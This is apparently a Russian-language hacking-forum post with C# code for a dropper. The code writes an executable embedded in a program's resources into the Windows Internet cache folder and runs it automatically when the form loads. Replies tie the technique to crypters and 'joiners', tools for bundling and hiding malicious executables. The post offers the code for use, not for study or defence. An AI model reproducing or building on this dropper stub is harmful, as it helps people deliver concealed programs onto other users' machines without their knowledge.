Привет всем, с вами команда [xZCode-Team] Сегодня мы покажем как запускать файлы из ресурсов проекта. Для начала добавим наш файл в ресурсы у меня это 1.exe Далее идем в код формы/консоли Прописываем параметр Прописываем статическую переменную строку которая указывает на наш файл public static String file_exe = Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) + "\\1.exe"; А далее в функции Run Прописываем следующее public void run() { FileStream fs = new FileStream(file_exe, FileMode.Create); fs.Write(Properties.Resources._1, 0, Properties.Resources._1.Length); fs.Close(); Process.Start(file_exe); } Код public void run() { FileStream fs = new FileStream(file_exe, FileMode.Create); fs.Write(Properties.Resources._1, 0, Properties.Resources._1.Length); fs.Close(); Process.Start(file_exe); } В конце так как я делал все на форме, у нас получится что то типа public static String file_exe = Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) + "\\1.exe"; public void run() { FileStream fs = new FileStream(file_exe, FileMode.Create); fs.Write(Properties.Resources._1, 0, Properties.Resources._1.Length); fs.Close(); Process.Start(file_exe); } private void Form1_Load(object sender, EventArgs e) { run(); } Код public static String file_exe = Environment.GetFolderPath(Environment.SpecialFolder.InternetCache) + "\\1.exe"; public void run() { FileStream fs = new FileStream(file_exe, FileMode.Create); fs.Write(Properties.Resources._1, 0, Properties.Resources._1.Length); fs.Close(); Process.Start(file_exe); } private void Form1_Load(object sender, EventArgs e) { run(); } Всем спасибо, думаю данная информация будет полезна!
Это запуск в памяти, запуск из ресурсов частично является этим запуском, так как файл не где не сохраняется
Google в помощь и C# для ****еров или joinerov лучше не использовать - для этого есть Delphi или C++(1 вариант лучше)=)